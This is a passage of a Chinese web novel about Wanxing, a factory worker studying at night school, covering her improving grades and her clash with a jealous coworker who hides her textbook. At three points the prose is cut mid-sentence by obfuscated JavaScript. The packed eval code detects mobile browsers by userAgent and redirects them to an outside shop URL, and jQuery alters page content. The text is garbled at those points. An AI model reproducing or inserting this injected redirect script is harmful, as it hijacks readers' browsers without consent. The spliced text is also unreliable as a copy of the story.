“我就是觉得好笑,替她不值罢了。”李娟翻了个白眼,语气里满是嘲讽,“有那扣工资的钱,还不如买点好吃的补补身体,在流水线上多装几个零件,比啥都实在。搞那些虚头巴脑的,最后还不是一样是打工妹。” 晚星停下手里的动作,缓缓抬起头,直视着李娟。她的脸色依旧泛红,眼里却没有丝毫退缩,声音平静却坚定:“我读书不是为了虚名,也不是为了装文化人,是为了我自己。工资扣了,我可以再攒;课错过了,我可能就再也赶不上进度了。值不值,我说了算,不用你管。” “哟,还挺硬气。”李娟嗤笑一声,伸手想拍晚星的肩膀,却被晚星一把挥开。晚星的眼神里带着几分冷意,没有再说话,只是低下头,加快了手里的动作——她不想再跟李娟浪费时间,只想尽快赶完活,去夜校。 李娟讨了个没趣,又说了几句风凉话,见没人搭理她,才悻悻地走开。张琪看着晚星紧绷的侧脸,心疼地说:“别往心里去,李娟就是见不得别人好。扣了的工资咱们慢慢攒,我这个月省点,分你点。” 晚星摇了摇头,冲她笑了笑:“不用,我自己能攒。谢谢你,张琪。”她心里清楚,张琪也不容易,还要给家里寄钱,她不能再麻烦张琪。两百块工资虽然心疼,但为了读书,她认了。 一旁的张桂兰默默听着这一切,手里的动作陡然加快,把自己筐里装好的零件,悄悄推了一小部分到晚星的工位旁。晚星愣了愣,看向张桂兰,对方却依旧低着头干活,只是耳尖微微泛红,嘴角的线条也柔和了几分。晚星心里一暖,低声说了句“谢谢张姐”,便埋首继续干活。 中午休息时,晚星没有像往常一样看书,而是坐在车间的角落,反复盘算着工资的事。扣了两天工资,她这个月能寄回家的钱就少了两百,父亲的药费还得靠这些钱支撑,弟弟的生活费也得省着点。她摸了摸口袋里的夜校听课证,心里泛起一阵苦涩——一边是家人的生计,一边是自己的梦想,两难的滋味,让她格外难受。 “别想了,先吃饭。”张琪拿着两个馒头和一份咸菜走过来,递给晚星一个馒头,“我跟食堂阿姨说了,以后咱们的咸菜多给点,省着点吃,工资很快就能攒回来的。再说,你好好学,以后考上了,找份好工作,这点工资算什么。” 晚星接过馒头,咬了一口,干涩的馒头难以下咽,可心里却暖暖的。她点了点头,眼里重新燃起光芒:“嗯,你说得对。我一定要好好学,不能让这些牺牲白费。” 下午的工作依旧紧张,晚星拼尽全力赶产量,指尖的薄茧被磨得发疼,也浑然不觉。她想尽量多赶点,明天就不用那么吃力地补产量了。刘组长路过她的工位时,看了她一眼,语气依旧带着几分不悦,却还是递过来一瓶水:“别硬撑,明天提前两小时到就行,别累垮了身体。” 晚星接过水,心里满是感激:“谢谢您,刘组长,我知道了。”她能感觉到,刘组长虽然批评了她,扣了她的工资,可心里还是体谅她的。这份隐秘的关照,让她更加坚定了既做好工作、又坚持读书的决心。 下午五点半,晚星终于赶完了手里的活。她跟张琪、张桂兰道别后,抓起书包就往车间外冲。夕阳已经西斜,余晖洒在身上,带着几分暖意,可她却不敢放慢脚步,一路狂奔,只想尽快赶到夜校。 赶到夜校时,离上课还有十分钟。王老师已经在教室里了,正坐在讲台前整理教案。看到晚星气喘吁吁地跑进来,身上依旧穿着那身蓝色工服,王老师愣了一下,随即笑着招手:“晚星,来了?快坐,我还以为你今晚要迟到呢。” 晚星走到座位上坐下,平复了一下呼吸,有些不好意思地说:“王老师,对不起,我们工厂今晚临时加班,我请了事假才过来的,还扣了两天工资。” 王老师闻言,脸上的笑容淡了几分,语气里满是关切:“扣了工资?那你怎么还过来了?其实你可以跟我说一声,咱们把补课推迟几天也行,没必要为了上课扣工资。” “我不想推迟。”晚星低下头,指尖摩挲着笔记本,声音带着几分坚定,“我基础太差了,好不容易有您帮我补课,我不想错过。工资扣了可以再攒,可学习的机会,我不想浪费。” 王老师看着她,眼里露出赞许的目光,点了点头:“好,有志气。既然你这么坚持,那咱们就好好补课。你别给自己太大压力,工资的事慢慢攒,学习也一步一步来,不急。”他顿了顿,又补充道,“以后要是工厂再临时加班,你就跟我说,咱们灵活调整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233576|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补课时间,别再为了上课扣工资了。” 晚星抬起头,眼里满是感动,用力点头:“谢谢您,王老师。” 上课铃响后,王老师开始给晚星补课。他从最基础的文言虚词入手,拿出自己的备用教案,上面写满了详细的注解和例句,一个个讲给晚星听,还耐心地问她懂不懂。晚星听得格外认真,手里的笔飞快地在笔记本上记录着,遇到不懂的地方就及时提问,王老师也不厌其烦地反复讲解,直到她听懂为止。 坐在旁边的王姐也忍不住凑过来听了几句,时不时帮着晚星分析例句,笑着说:“王老师讲得也太细致了,晚星,你可得好好记,别辜负王老师的一片心意。” 晚星点了点头,心里满是感激。她知道,王老师的这份用心,张琪的支持,张桂兰的善意,还有刘组长的体谅,都是支撑她走下去的力量。哪怕扣了工资,哪怕日子过得再苦,她也不能放弃。 九点半,补课结束。王老师把自己的备用教案递给晚星:“这个你拿着,上面有我整理的例句和注解,你回去好好看看,有不懂的地方,下次上课再问我。” 晚星接过教案,紧紧抱在怀里,哽咽着说:“谢谢您,王老师,您对我太好了。” “不麻烦,你肯努力,我就愿意帮你。”王老师笑了笑,“快回去吧,路上注意安全。明天还要早起补产量,别熬太晚。” 晚星连连道谢,和王老师、王姐道别后,抱着教案和笔记本,快步朝着厂区走去。夜晚的风带着几分凉意,却吹不散她心里的暖意。她低头看着怀里的教案,上面密密麻麻的注解,每一个字都透着王老师的用心。扣工资的心疼渐渐消散,取而代之的是满心的坚定——她一定要好好学,不辜负所有人的支持,也不辜负自己的坚持。 回到厂区时,已经快十点半了。宿舍里的灯还亮着,张琪正坐在床边等她,手里端着一碗温热的粥:“可算回来了!快把粥喝了,我给你留的,还加了点咸菜。今天扣了工资,别往心里去,咱们省着点花就行。” 晚星接过粥,喝了一口,温热的粥顺着喉咙滑进胃里,浑身都暖和了。她坐在床边,把今晚补课的事告诉了张琪,还有王老师给她教案的事。 “王老师人也太好了吧,还特意给你备用教案!”张琪笑着说,“你看,这么多人支持你,你可一定要好好学,不能让大家失望。扣了的工资不算什么,等你以后出息了,这点钱根本不算事。” 晚星笑了笑,眼里满是光芒:“嗯,我知道。张琪,有你在,有王老师帮我,我一定能坚持下去。不管以后遇到什么困难,我都不会放弃读书的。” 喝完粥,晚星坐在书桌前,拿出王老师给的教案和自己的笔记本,认真整理今晚补课的知识点。她把王老师讲的例句一个个抄下来,结合教案上的注解反复琢磨,直到完全弄懂为止。灯光下,她的侧脸格外专注,指尖握着笔飞快地书写,密密麻麻的字迹里,藏着不服输的韧劲。 整理完笔记时,已经快十二点了。晚星把教案和笔记本小心翼翼地收好,躺在床上,却没有丝毫睡意。她想起李娟的嘲讽,想起扣掉的工资,想起王老师的用心,心里百感交集。她清楚,以后或许还会遇到这样的两难处境——工厂加班与夜校课程冲突,生计与梦想碰撞。 可她不再迷茫了。她把王老师的教案放在枕头下,紧紧攥着,仿佛握着一份无形的力量。她知道,读书这条路,注定充满艰辛,可只要她坚守信念,不轻易妥协,一步一个脚印地努力,就一定能打破困境,实现自己的梦想。那些牺牲与付出,终会在未来的某一天,变成照亮前路的光。 第二天凌晨四点,天还没亮,晚星就起床了。她简单洗漱了一下,拿起书包就往车间走——她要提前两小时到,把昨天落下的产量补回来。走到车间门口时,她惊讶地发现,张桂兰已经在工位上忙碌了,见她过来,张桂兰抬了抬头,语气平淡地说:“来了?我帮你把工位整理好了,快干活吧,早点补完早点休息。” 晚星愣了愣,连忙道谢:“谢谢张姐,麻烦你了。” 张桂兰没说话,只是把一筐振膜推到她面前,手里的动作依旧没停。晚星看着她的背影,心里暖暖的——在这条忙碌而疲惫的流水线上,这些不轻易言说的善意,像点点星光,支撑着她在追梦的路上,坚定地走下去。 李娟早上来上班时,看到晚星已经在工位上忙活了,脸上满是诧异,随即又露出嘲讽的表情,想说些什么,可看到晚星眼里那份不容置疑的坚定,还有张琪投来的警告目光,到了嘴边的话又咽了回去,悻悻地走到自己的工位上。 晚星没有理会李娟,只是低下头,专注地干活。阳光透过车间的窗户洒进来,落在她的工服上,也落在她手里的笔记本上。她知道,未来的路依旧充满挑战,可她已经做好了准备,无论遇到什么两难处境,她都不会放弃读书的信念,终将用努力,改写自己的人生。 8. 第 8 章 周五傍晚的恒鑫电子厂,夕阳透过车间的铁窗,在地面投下斑驳的光影。晚星指尖翻飞,将最后一个振膜嵌入卡槽,抬手揉了揉发酸的肩膀,目光下意识扫过口袋里的笔记本——上面记着昨晚补课遗留的三个语法难点,还有王老师叮嘱的单词清单。她咬了咬唇,趁着下班铃声响起前的间隙,飞快掏出笔记本,对着微弱的光线默念起来。 “又在背单词呢?快收拾收拾,别赶不上夜校的车了。”张琪拍了拍她的后背,手里已经拎好了晚星的书包,“我帮你跟食堂阿姨拿了两个馒头,路上垫肚子,别跟上次似的,跑太快呛着。” 晚星抬头冲她笑了笑,把笔记本小心翼翼塞回口袋,接过书包:“谢谢你,张琪。我就是怕那些单词忘了,趁这点时间多记两个。”她心里清楚,自己基础比同班同学差太多,别人花一小时就能掌握的内容,她得花双倍甚至三倍的时间,唯有挤碎所有空闲,才能勉强跟上进度。 两人快步走出车间,张桂兰恰好从旁边经过,手里攥着一个布包,塞到晚星手里,语气依旧平淡:“我妈寄来的芝麻糕,顶饿,路上吃。”不等晚星道谢,她便转身快步离开,耳尖却泛起熟悉的红晕。晚星捏着温热的布包,心里暖暖的——从默默帮忙补产量到分享吃食,张桂兰的善意从不喧哗,却总能恰到好处地熨帖人心。 赶到夜校时,王老师已在教室等候,身边站着一个穿白色衬衫的女生,眉眼温和,手里抱着一摞厚厚的笔记。晚星刚走到座位旁,王老师就朝她招了招手:“晚星,过来一下。” 晚星心里泛起一丝忐忑,快步走过去,小声问:“王老师,您找我?” 王老师笑着拉过身边的女生,介绍道:“这是陈雨,咱们班成绩最优异的同学,文言和英语都特别好。我看你基础薄弱,单独补课进度还是慢,就跟陈雨商量了一下,让她平时多帮你指点指点,你们可以一起讨论问题,效率能更高些。” 陈雨主动伸出手,笑容温和:“晚星你好,我早就听说你了,特别佩服你边打工边学习的毅力。以后咱们一起加油,你有任何不懂的地方,随时都能问我。”她的声音轻柔,眼里没有丝毫偏见,只有真诚的鼓励。 晚星愣了愣,连忙伸手回握,指尖微微颤抖,语气里满是惊喜与局促:“谢谢你,陈雨同学。麻烦你了,我基础太差,可能会经常问你很多简单的问题。”她从未想过,除了王老师,还会有同班同学愿意主动帮她,那些曾经因被轻视而埋藏的自卑,在这一刻悄然松动。 “别这么说,互相帮助本来就是应该的。”陈雨把怀里的笔记递过来一本,“这是我整理的文言知识点笔记,上面有重点标注和易错点分析,你先拿去看,看不懂的地方咱们今晚就聊。” 晚星接过笔记,指尖抚过封面工整的字迹,心里满是感激,眼眶微微泛红:“太谢谢你了,陈雨。我……我一定会好好看的。” 王老师看着两人的互动,欣慰地点了点头:“好了,你们找位置坐下吧,快上课了。晚星,别给自己太大压力,有陈雨帮忙,再加上你的努力,基础一定会慢慢打牢的。” 晚星用力点头,跟着陈雨走到后排座位坐下。王姐见状,主动往旁边挪了挪,笑着说:“这下好了,晚星你有人搭伴学习了,以后咱们三个可以一起讨论问题。” 课堂上,王老师讲的是英语阅读,涉及不少复杂的句型和生词。晚星听得有些吃力,手里的笔飞快地记录着生词,眉头紧紧皱起。陈雨察觉到她的窘迫,悄悄在笔记本上写下生词的释义,推到她面前,用口型示意她先标注,课后再细讲。晚星抬头看向陈雨,眼里满是感激,轻轻点了点头。 课间休息时,晚星没有像往常一样独自啃书,而是拿着笔记本凑到陈雨身边,小声请教刚才没听懂的句型。陈雨耐心地帮她拆解句子结构,用简单易懂的语言讲解语法点,还举了几个贴近生活的例子,让她更容易理解。 “你看,这个定语从句,其实就像是给名词穿了件‘衣服’,用来修饰它。”陈雨拿起笔,在纸上画了简单的示意图,“比如你每天做工的‘车间’,可以说‘the workshop where I work’,这里的‘where’就引导从句,说明是你工作的那个车间。” 晚星盯着示意图,恍然大悟:“原来是这样!我之前总搞不懂引导词的用法,经你这么一说,我就明白了。”她连忙把例句和讲解抄在笔记本上,重点标注出来,生怕转头就忘。 旁边的王姐也凑过来,笑着说:“陈雨你讲得真清楚,我之前也对这个知识点模糊,现在也懂了。以后咱们三个就组成学习小组,一起进步。” 陈雨点了点头:“好啊!咱们每晚下课后留半小时,在教室一起讨论问题,晚星你把白天遇到的难点都记下来,咱们一起分析,这样比你独自琢磨高效多了。” 晚星心里满是暖意,用力点头:“好!谢谢你们。有你们帮忙,我再也不用怕跟不上进度了。”这是她自从上夜校以来,第一次感受到被同窗接纳、认可的温暖,不再是独自背负着偏见与困境前行,这份突如其来的善意,像一束微光,照亮了她艰难的求学路。 晚上的课程结束后,三人留在教室里讨论问题。陈雨帮晚星梳理了当天的英语知识点,王姐则分享了自己记文言实词的小技巧,晚星也把自己在车间里想到的句子拿来请教,三人各抒己见,氛围格外融洽。 “晚星,你其实很聪明,就是基础薄弱了点,只要多花点时间,肯定能进步很快。”陈雨看着她密密麻麻的笔记,由衷地说,“你白天要做工,晚上还要来上课,比我们都辛苦,却还这么努力,真的很了不起。” 晚星不好意思地笑了笑,脸颊微微泛红:“我就是不想浪费这么好的机会。以前在老家,根本没机会好好读书,现在能有王老师教,还有你们帮我,我一定要拼尽全力。”她低头看着笔记本,眼里满是坚定,“我想靠自己的努力,找份能让家人过上好日子的工作,也想证明自己,不是只能在流水线上做工。” 王姐拍了拍她的肩膀:“一定可以的!我们陪着你一起努力。” 离开夜校时,已经快十点了。陈雨家离厂区不远,三人结伴同行,路上还在讨论着白天的知识点。晚星看着身边并肩行走的两人,心里满是充实与温暖——曾经孤单的求学路,如今有了同窗的陪伴与帮助,那些看似艰难的困境,仿佛也变得没那么可怕了。 回到宿舍,张琪早已等在门口,手里端着一碗热粥:“可算回来了!今天怎么这么晚?是不是又在教室看书了?” 晚星接过粥,把陈雨和王姐帮她补课的事告诉了张琪,眼里藏不住喜悦:“张琪,我有学习伙伴了!陈雨帮我讲语法,王姐跟我分享记知识点的技巧,以后我再也不用一个人琢磨那些难懂的内容了。” “太好了!”张琪笑着说,“我就说嘛,好人有好报,你这么努力,肯定会有人愿意帮你的。以后你晚上补课回来,我多给你留份热饭,好好补补身体,才能有精力学习。” 晚星喝着温热的粥,心里暖暖的。她知道,自己此刻拥有的一切,都来之不易——王老师的悉心关照、陈雨和王姐的真诚帮助、张琪的不离不弃、张桂兰的隐秘善意,还有刘组长的体谅包容,这些微光汇聚在一起,成了支撑她前行的巨大力量。 从那天起,晚星更加珍惜这份学习机会,把所有能挤出来的时间都用在了学习上。每天清晨提前到车间补产量时,她会趁着机器预热的间隙,掏出单词本默念;中午休息时,她不再纠结工资的事,而是找个安静的角落,翻看陈雨给的笔记,背诵文言知识点;下午做工的间隙,只要有几分钟空闲,她就会在心里复盘当天记过的内容。 “晚星,你这单词本都快翻烂了,歇会儿吧,别累着眼睛。”张琪看着她趁着换零件的间隙还在背单词,心疼地说,“机器声音这么大,也记不牢,不如中午好好记,下午专心干活。” 晚星笑了笑,把单词本塞回口袋:“没事,能记一个是一个。我基础差,不多花点时间,赶不上陈雨她们。”她拿起零件,指尖熟练地操作着,心里却还在默念着刚才记的单词。 刘组长路过两人的工位,看到晚星手里的单词本,眼里露出赞许的目光,没有多说什么,只是悄悄把一筐整理好的振膜推到她面前,减少她整理零件的时间。晚星抬头看向刘组长,感激地笑了笑,刘组长也朝她点了点头,转身继续巡线。 李娟看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233577|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚星整天抱着书本,又想嘲讽几句,可看到她身边有张琪护着,还有刘组长的默许,再想到之前讨到的没趣,终究是把话咽了回去,只是撇了撇嘴,悻悻地走开了。晚星没有理会李娟的目光,依旧专注地利用每一分每一秒学习,她知道,只有努力提升自己,才能真正摆脱别人的偏见。 晚上的夜校课程,晚星听得格外认真,遇到不懂的地方,会及时举手提问,不再像以前那样藏藏掖掖。下课后,她会和陈雨、王姐留在教室里补课,陈雨帮她讲解英语和文言难点,王姐帮她梳理知识点框架,晚星则主动分享自己总结的记忆技巧,三人在互相帮助中共同进步。 有一次,晚星遇到一个复杂的文言虚词用法,琢磨了很久都没弄懂,急得快要哭了。陈雨没有不耐烦,而是陪着她逐字逐句分析例句,从不同语境下的用法入手,一点点帮她拆解,直到她完全弄懂为止。 “谢谢你,陈雨。”晚星擦了擦眼角的湿意,不好意思地说,“这么简单的问题,我却要麻烦你讲这么久。” “别这么说,学习本来就是一个慢慢积累的过程。”陈雨笑着说,“我刚开始学的时候,也经常遇到不懂的问题,也是靠同学帮忙才慢慢掌握的。咱们是伙伴,互相扶持是应该的。” 王姐也笑着安慰:“就是啊,晚星,别着急,一步一个脚印来。你已经进步很多了,上次小测,你的文言成绩都及格了,这就是最好的证明。” 晚星看着两人真诚的笑容,心里满是感动。她低头看着自己的笔记本,上面记满了三人讨论的痕迹,还有陈雨和王姐帮她标注的重点,每一个字迹都透着温暖。她第一次真切地感受到,自己不再是孤单一人,那些汇聚而来的微光,正在为她照亮前行的路。 日子一天天过去,晚星的学习成绩有了明显的提升。在一次夜校小测中,她的英语和文言成绩都进入了中等水平,虽然不是最优秀的,但比起刚开始的一塌糊涂,已经是质的飞跃。王老师在课堂上特意表扬了她:“晚星同学这段时间进步很大,大家都要向她学习,学习她那种不畏艰难、刻苦努力的精神。” 教室里响起热烈的掌声,陈雨和王姐朝她投来赞许的目光,那些曾经轻视她的同学,眼里也多了几分认可。晚星站在座位上,脸颊通红,心里满是成就感与喜悦——所有的努力与坚持,所有的牺牲与付出,都在这一刻有了回报。 下课后,陈雨和王姐拉着晚星,兴奋地说:“晚星,你太厉害了!进步这么快,以后咱们一起冲刺更好的成绩。” 晚星笑着点头,眼里满是光芒:“好!谢谢你们,如果不是你们帮我,我肯定不会进步这么快。有你们在,我更有信心了。” 回到厂区,晚星把自己小测进步的消息告诉了张琪和张桂兰。张琪激动地抱住她:“我就知道你可以的!太厉害了,晚星!”张桂兰也难得露出了笑容,递给她一个苹果:“继续努力,以后会更好。” 晚上,晚星坐在书桌前,看着自己的成绩单,又翻开那本写满注解的笔记本,心里百感交集。她想起刚开始上夜校时的窘迫与自卑,想起被李娟嘲讽时的委屈,想起扣工资时的心疼,可更多的,是身边人给予的温暖与支持——王老师的悉心教导、陈雨和王姐的真诚帮助、张琪的不离不弃、张桂兰的隐秘善意、刘组长的体谅包容。 这些微光,看似微弱,却汇聚成了照亮她追梦路的星河。晚星拿起笔,在笔记本的扉页上写下:“微光汇聚,亦可星河。”她知道,学习之路依旧漫长,未来或许还会遇到新的困境与挑战,但她不再害怕。因为她明白,自己不再是孤单一人,那些汇聚而来的温暖与善意,会成为她最坚实的后盾,支撑着她在追梦的路上,坚定地走下去。 第二天清晨,晚星依旧提前到车间补产量,只是脸上多了几分从容与坚定。她趁着机器预热的间隙,掏出单词本默念,阳光透过窗户洒在她的身上,也洒在她手里的单词本上,映照出她眼里的光芒。张琪走到她身边,递过一杯温水:“继续加油,我的‘学霸’晚星!” 晚星笑了笑,接过水杯:“嗯,一起加油!”她知道,只要自己坚持不懈,带着这份汇聚而来的微光,终会抵达自己想去的地方,用努力改写自己的人生。 9. 第 9 章 深秋的清晨,恒鑫电子厂的车间浸在微凉的空气里,机器高速运转的轰鸣却裹挟着灼人的热气。晚星指尖翻飞如蝶,振膜被精准嵌入卡槽,口袋里的手机忽然轻轻震动——是陈雨发来的消息,告知她第四次月考成绩出炉,两人并列班级第八。看清消息的刹那,她的指尖猛地顿住,眼眶骤然发热,喉间泛起一阵酸胀,连日来熬夜苦读、挤碎碎片时间刷题的疲惫,全都被这突如其来的喜悦冲刷得一干二净。 “发什么呆呢?快把这筐零件清完,早干完早歇口气。”张琪递来一块干爽的毛巾,瞥见晚星泛红的眼眶,语气瞬间绷紧,“咋了?是不是李娟又找茬了?还是哪里不舒服?” 晚星摇了摇头,小心翼翼地把手机揣回口袋,嘴角抑制不住地向上扬起,声音里藏着难以按捺的激动:“不是,陈雨说,我这次月考考了第八,冲进前十了。”从第一次月考的倒数第五,到第二次的十七名,第三次擦着前十线的十一名,再到这次稳稳跻身前列,四次月考步步为营,每一分进步都浸透着她啃干粮背单词、就着灯光抄笔记的咬牙坚持。 “真的?!”张琪激动地一拍手,差点碰倒身旁的零件筐,眼里满是雀跃,“我就知道你能行!太牛了晚星!这下看李娟还怎么阴阳怪气嘲讽你!” 两人的对话恰好被路过的张桂兰听见,她脚步微顿,走到晚星工位旁,放下一筐码得整整齐齐的振膜,语气依旧平淡,却藏着难得的赞许:“不错,没白熬那些夜。”说完便转身继续巡线,只是紧绷的嘴角悄悄柔和了几分。晚星望着她的背影,又想起口袋里那份成绩单,心里涌满滚烫的力量——所有挑灯夜读的孤寂、挤出来的碎片时光,都在这一刻有了最扎实的回响。 傍晚下班,晚星特意换上一件干净的浅灰色外套,把月考成绩单仔细折好,放进书包最里层。张琪帮她拎着装有馒头和芝麻糕的布袋,笑着打趣:“今晚王老师指定要重点表扬你,咱们晚星可是实打实的逆袭榜样!” 赶到夜校时,教室门口早已围了不少同学,都在热议月考成绩。陈雨和王姐正朝她用力挥手,手里各举着一张成绩单:“晚星这里!咱们并列第八,太争气了!” 晚星快步走过去,接过属于自己的成绩单,红色的“8”字在灯光下格外醒目。她低头凝视着成绩单,又翻开身旁的课本——书页上密密麻麻的注解、陈雨帮她标注的易错点、自己总结的精简记忆法,每一处痕迹都在无声印证着她的努力。正沉浸在这份喜悦里,身后忽然传来一声阴阳怪气的嗤笑,不用回头,晚星也能猜到是李娟。 “哼,考个第八就尾巴翘上天了,指不定是抄谁的呢。”李娟抱着胳膊站在不远处,脸色阴沉得能滴出水,眼里满是不加掩饰的嫉妒,“一个流水线打工妹,能有多大能耐?我看就是运气好,下次准打回原形。” 陈雨立刻上前一步,挡在晚星身前,语气坚定又带着怒意:“李娟,说话要讲证据!晚星白天在工厂干体力活,晚上雷打不动来上课,笔记记得比谁都认真,错题本攒了厚厚的一本,成绩进步是实打实熬出来的,怎么可能是抄的?” 晚星轻轻按住陈雨的胳膊,指尖微用力示意她稍安。换作以前,她或许会选择隐忍退让,假装没听见那些刻薄话,可这一次,看着李娟因嫉妒而扭曲的脸,她心里没有了往日的委屈,反倒多了几分掷地有声的坚定。她抬眼直视着李娟,声音平静却字字有力:“我的成绩是不是抄的,成绩单、错题本还有王老师都能作证。运气或许能撑一次,但四次稳步提升,靠的从来不是侥幸,是日复一日的努力。” 李娟被噎得语塞,狠狠剜了晚星一眼,悻悻地转身冲进教室,背影里满是不甘。王姐看着她的背影,愤愤不平:“这人也太离谱了,自己成绩上不去,就见不得别人好,只会乱嚼舌根。”晚星淡淡一笑:“没事,咱们用下次成绩接着说话。”此刻的她,早已不是那个会因嘲讽而自卑退缩的女孩,实打实的成绩给了她底气,身边人的支持给了她勇气。 上课铃响后,王老师拿着成绩单走进教室,脸上满是欣慰。他站在讲台上,目光缓缓扫过全班,语气郑重地开口:“这次月考,咱们班整体成绩稳步提升,尤其要重点表扬一位同学——林晚星。” 全班目光齐刷刷聚焦在晚星身上,她微微挺直脊背,心里虽有几分紧张,更多的却是沉甸甸的期待。王老师举起她的成绩单,语气里满是赞许:“晚星同学从第一次月考的倒数第五,到这次跻身前十,四次考试一步一个台阶,这背后的付出,想必大家都能想象。她白天要在工厂打工谋生,晚上坚持来校上课,把别人休息的时间都用在学习上,这种不畏困境、刻苦钻研的精神,值得全班同学学习。” 教室里响起热烈的掌声,陈雨和王姐朝她投来赞许的目光,那些曾经轻视她出身的同学,眼里也多了几分真切的认可。晚星坐在座位上,脸颊微微泛红,心里满是成就感——她终于用不懈的努力证明了自己,打破了“打工妹不配追求知识”的偏见。 王老师顿了顿,又语重心长地补充:“晚星的逆袭告诉我们,出身和处境从来不是限制成长的枷锁。只要心怀坚定信念,肯付出实打实的努力,就一定能跨越困境,实现自己的目标。希望大家都能以晚星为榜样,珍惜现有的学习机会,不负时光,不负自己。” 课程结束后,晚星和陈雨、王姐留在教室里整理笔记,打算逐一复盘这次月考的错题。晚星伸手去书包里拿文言课本,翻来翻去却始终不见踪影——她明明记得把课本和笔记本放在一起,怎么会凭空消失? “怎么了晚星?找不到东西了?”陈雨察觉到她的慌乱,连忙放下手里的笔上前询问。 “我的文言课本不见了。”晚星的声音带着几分焦急,索性把书包里的东西全都倒在桌上,课本、笔记本、成绩单散落一地,唯独少了那本写满注解的文言课本,“我来的时候特意检查过,书包里明明有课本,怎么会不见了?”那本书对她而言意义非凡,上面不仅有王老师的亲笔批注,还有陈雨帮她标注的重点难点,是她逆袭路上最珍贵的助力。 王姐也蹲下身帮着寻找,一边找一边安慰:“会不会是落在工厂工位上了?或者路上不小心掉了?” 晚星摇了摇头,语气笃定:“不会,来的时候我反复确认过书包,而且一路上都和你们在一起,根本没掉东西。”她的目光下意识扫过教室门口,恰好看见李娟鬼鬼祟祟地往校外走,手里藏着什么东西,衣角还露出一截熟悉的书页——那是她的文言课本,封面上有她特意画的小星星标记,格外显眼。 晚星心里瞬间清明,快步追出教室,声音清亮地叫住她:“李娟,你等一下。” 李娟心里一惊,下意识把手里的东西往身后藏,转过身时强装镇定,语气不耐烦:“干什么?我还要回宿舍睡觉,没时间陪你耗。” “我的文言课本,是不是在你那里?”晚星直视着她的眼睛,目光锐利而坚定,没有丝毫退让。 “什么课本?我不知道你在胡言乱语什么。”李娟眼神躲闪,语气慌乱却依旧嘴硬,“谁要拿你的破课本?你自己丢了东西,别想赖在我身上。” 这时,陈雨和王姐也追了出来,周围还有几个没走的同学,见状纷纷围了过来。晚星看着李娟躲闪的眼神,心里的底气愈发充足,声音沉稳地说道:“我不想把事情闹大,劝你最好把课本交出来。我的课本封面上画着一颗小星星,扉页有王老师的签名,每一页都有我的亲笔注解和标注,不信我们可以当场对质,也可以去找王老师核实。” “你……”李娟被说得哑口无言,脸色一阵红一阵白,又青又紫。她本是嫉妒晚星被当众表扬,想藏起课本让她没法复习,等下次考试打回原形,没想到会被当场撞见,还被晚星精准戳穿了所有破绽。 “我刚才看见你从教室后门出来,手里藏着一本书,和晚星的文言课本一模一样。”旁边一个戴眼镜的男同学站出来作证,“而且你刚才在教室门口徘徊了好一会儿,鬼鬼祟祟的,形迹本来就可疑。” 证据确凿,李娟再也无法抵赖,她狠狠瞪了晚星一眼,满是不甘与怨毒,极不情愿地从身后掏出课本,狠狠掼到晚星面前:“哼,不就是一本书吗?我看你当个宝贝,拿来玩玩而已,谁知道你这么小气,还当众揪着不放。” 晚星弯腰捡起课本,轻轻拍掉封面上的灰尘,翻开扉页,王老师的签名和她密密麻麻的注解清晰可见。她抬眼看向李娟,语气里褪去了往日的温和,满是冷意:“这不是小气不小气的问题,这是我的东西,你没有任何权利私自拿走。之前你嘲讽我、说我坏话,我都忍了,因为我知道,唯有成绩能证明一切。可你现在故意藏我的课本,阻碍我学习,这就越过了底线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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晚星笑了笑,眼里闪烁着坚定的光芒:“谢谢你们。以前我总觉得,忍一忍就过去了,可后来才明白,一味地隐忍只会让人得寸进尺。只有坚定地守住自己的底线,才能赢得别人真正的尊重。” 三人结伴往厂区走,深秋的晚风带着几分凉意,却吹不散晚星心里的暖意与笃定。这次逆袭前十、当众反击,不仅是她学习路上的阶段性胜利,更是她性格上的一次蜕变——从自卑隐忍到自信坚定,从默默承受到勇敢反击,她在追梦的路上,不仅收获了亮眼的成绩,更收获了直面困境的勇气与珍贵的尊严。 回到厂区,晚星把事情的来龙去脉告诉了张琪和张桂兰。张琪激动地一拍床板:“干得漂亮晚星!就该这么治她,让她知道你不是软柿子!”张桂兰也难得露出郑重的神情,点头说道:“以后她再找你麻烦,告诉我,我帮你作证,咱们不欺负人,但也不能被人欺负。” 晚上,晚星坐在书桌前,翻开那本失而复得的课本,看着上面熟悉的批注与注解,心里百感交集。她想起第一次月考后的沮丧迷茫,想起被李娟嘲讽时的委屈不甘,想起挑灯夜读时的疲惫困顿,可更多的,是逆袭后的成就感、反击后的释然,还有身边人源源不断的温暖与支持。 